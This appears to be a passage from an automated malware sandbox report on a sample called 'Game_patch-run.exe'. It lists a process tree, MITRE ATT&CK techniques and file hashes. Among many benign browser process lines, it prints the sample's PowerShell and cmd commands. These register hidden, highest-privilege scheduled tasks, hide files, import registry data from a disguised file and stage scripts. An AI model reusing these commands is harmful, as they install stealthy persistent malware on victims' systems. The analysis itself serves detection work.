        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:952
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7fffb992c188,0x7fffb992c194,0x7fffb992c1a0
        7⤵
        
        PID:4972
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1976,i,15001973233427288187,11552478925080090816,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:3
        7⤵
        System Time Discovery
        
        PID:5048
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1752,i,6599183931157443355,15025784667726757705,262144 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:2
        7⤵
        
        PID:4304
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2456,i,6971495882262403699,974137007552769068,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:8
        7⤵
        
        PID:1796
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3432,i,13390394736434112497,3919378391452718113,2097152 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
        7⤵
        
        PID:3948
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3436,i,2119116562175943384,3128533484468425960,2097152 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
        7⤵
        
        PID:4864
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4224,i,15479007726668530330,13429831857945613753,2097152 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:1
        7⤵
        
        PID:3644
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4260,i,8476467134329077837,7791234447294774912,2097152 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=1744 /prefetch:2
        7⤵
        
        PID:1704
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4340,i,4265544482157293138,8420212652563640782,2097152 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:1
        7⤵
        
        PID:4212
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,16065287910038151931,14877737392682751186,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:8
        7⤵
        
        PID:3340
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5272,i,8451377533656263609,16604213631243813789,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:8
        7⤵
        
        PID:3812
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,3544615488885079428,9963480574499595646,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:8
        7⤵
        
        PID:4884
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,18371012764876273832,15637162236363204543,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:8
        7⤵
        
        PID:4196
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,4391188331476589713,15476998288988109848,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:8
        7⤵
        
        PID:1936
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,4391188331476589713,15476998288988109848,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:8
        7⤵
        
        PID:2956
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,3636913979883563257,16390856569311649260,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:8
        7⤵
        
        PID:428
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,10880570148742094955,9245721174890289239,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:8
        7⤵
        
        PID:1816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6488,i,16027110215064706266,16422342231481688069,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:8
        7⤵
        
        PID:4184
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6492,i,7461025301467791114,13963512028880748650,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:8
        7⤵
        
        PID:4456
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,7440045285280011204,10367719561675622219,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:8
        7⤵
        
        PID:5400
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4396,i,1395560920956355116,16940103668409209560,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:8
        7⤵
        
        PID:5344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4424,i,17788637065890387131,12896553718040414351,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
        7⤵
        
        PID:5352
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4624,i,9311116573247792843,3245352209449970388,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:8
        7⤵
        
        PID:5360
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7032,i,10689471343086944514,12228287165696952386,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:8
        7⤵
        
        PID:5592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6044,i,18040788983924486022,10619663037411846209,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4568 /prefetch:8
        7⤵
        
        PID:5964
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6048,i,2187481018615477000,6675659590993351328,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:8
        7⤵
        
        PID:6008
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,16025537133525578865,3148980731023631453,524288 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:8
        7⤵
        
        PID:5160
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4396,i,3807201514865150350,9203826424580846377,262144 --field-trial-handle=2352,i,1407539878802812698,11472905048364113382,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tidy.bat" "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" "attrib" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2026-10" "Game_patch-run.exe" "Windows Registry Editor" "scheduledtask" "HKEY_CURRENT_USER\SOFTWARE\\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2428
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2108
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"').Replace('{HKU}', '"HKEY_CURRENT_USER\SOFTWARE\\"') | Set-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5032
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe import C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:2040
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "foreach ($item in @(\"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\", \"$env:PROGRAMDATA\DiagnosticsNET\update.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\updater.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\cache.ps1\", \"$env:PROGRAMDATA\Features\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\updater.ps1\", \"$env:PROGRAMDATA\SdkWin\update.ps1\", \"$env:PROGRAMDATA\SdkWin\updater.vbs\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.vbs\")) { if (Test-Path -LiteralPath $item) { Remove-Item -LiteralPath $item -Force } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2376
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "$ErrorActionPreference = 'SilentlyContinue'; "$paths = @{ \"$env:PROGRAMDATA\Features\x\" = 'itolxchrcixzegmwaenolskcjalpikx'; \"$env:PROGRAMDATA\Features\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\UpdatesWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\UpdatesWin\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\SdkWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\SdkWin\updater.tmp\" = 'updater.vbs'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\updater.tmp\" = 'updater.ps1' }; foreach ($src in $paths.Keys) { if (Test-Path -LiteralPath $src) { Rename-Item -LiteralPath $src -NewName $paths[$src] } }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1756
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3396
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\") -replace '{flPQ}', 'a62h81hab8329ja' -replace '{testD1}', 'DiagnosticsNET\win64\network_agent.dll' -replace '{testD2}', 'DiagnosticsNET\win32\network_agent.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\") -replace '{randomzt}', 'US' -replace '{randomui}', 'itolxchrcixzegmwaenolskcjalpikx' | Set-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\") -replace '{randomkey}', '1eJctR5LdYdNRycM' -replace '{randomtest1}', 'SdkWin\C#(.NET)\4.5\net_diagn.dll' -replace '{randomtest2}', 'SdkWin\C#(.NET)\9.0\net_diagn.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\") -replace '{liveTest}', 'a50caac3a2e33afe425060c1de16ff24' -replace '{testL1}', '64\dll\aplt.dll' -replace '{testL2}', '32\dll\aplt.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2436
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $triggerAtStartup = New-"scheduledtask"Trigger -AtStartup; $triggerAtLogon = New-"scheduledtask"Trigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-"scheduledtask"Trigger -RepetitionInterval (new-timespan -days 30) -at $dt -Once; $stt.Repetition.StopAtDurationEnd = $false; $settings = New-"scheduledtask"SettingsSet -Hidden -StartWhenAvailable -AllowStartIfOnBatteries -ExecutionTimeLimit 0 -DontStopIfGoingOnBatteries -DontStopOnIdleEnd; $principal = New-"scheduledtask"Principal -RunLevel Highest -GroupId 'S-1-5-32-545'; $principal2 = New-"scheduledtask"Principal -RunLevel Highest -UserID "$env:USERNAME" -LogonType S4U; $action = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\DiagnosticsNET\update.vbs\"'; $action2 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\SdkWin\updater.vbs\"'; $action3 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\WinPackages\update.vbs\"'; $action4 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\updater.ps1\"'; $action5 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\update.ps1\"'; $action6 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\GameSavings\Windows\win_libraries\update.vbs\"'; $task = New-"scheduledtask" -Action $action -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task2 = New-"scheduledtask" -Action $action2 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task3 = New-"scheduledtask" -Action $action3 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task4 = New-"scheduledtask" -Action $action4 -Trigger $stt -Principal $principal2 -Settings $settings; $task5 = New-"scheduledtask" -Action $action5 -Trigger $stt -Principal $principal2 -Settings $settings; $task6 = New-"scheduledtask" -Action $action6 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; unregister-"scheduledtask" -TaskName 'NetworkDiagnosticService' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'SystemCacheMaintenance' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'IEPackages' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSettingsDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameUpdaterDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSavings' -Confirm:$false -ErrorAction SilentlyContinue; register-"scheduledtask" 'NetworkDiagnosticService' -InputObject $task; register-"scheduledtask" 'SystemCacheMaintenance' -InputObject $task2; register-"scheduledtask" 'IEPackages' -InputObject $task3; register-"scheduledtask" 'GameSettingsDLC' -InputObject $task4; register-"scheduledtask" 'GameUpdaterDLC' -InputObject $task5; register-"scheduledtask" 'GameSavings' -InputObject $task6;
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3860
  - - C:\Windows\SysWOW64\attrib.exe
      "attrib" +h +s "C:\ProgramData\Features\*.*" /s /d
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Features\update.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=Game&bucket=S13SPB2Z_2026-10X&u=9itolxchrcixzegmwaenolskcjalpikx
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2580
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=Game&bucket=S13SPB2Z_2026-10X&u=9itolxchrcixzegmwaenolskcjalpikx
        5⤵
        
        PID:1212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1224 -ip 1224
1⤵
PID:392

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

nav_config.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping952_1368022380\nav_config.json
Size 2KB
SHA256 98252dc9f9e81167e893f2c32f08ee60e9a6c43fadb454400ed3bff3a68fbf0d
MD5 499d9e568b96e759959dc69635470211
SHA1 2462a315342e0c09fd6c5fbd7f1e7ff6914c17e6
SHA512 3a5922697b5356fd29ccf8dcc2e5e0e8c1fd955046a5bacf11b8ac5b7c147625d31ade6ff17be86e79c2c613104b2d2aebb11557399084d422e304f287d8b905
TLSH
T16B51DB73D5988C4B9BF4A29CE919A309F11107CF75D48C0B76BE010C1F7757AB5C6588
MD5 SHA1 SHA512 TLSH

Submit Download

protocols.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping952_439918377\protocols.json
Size 3KB
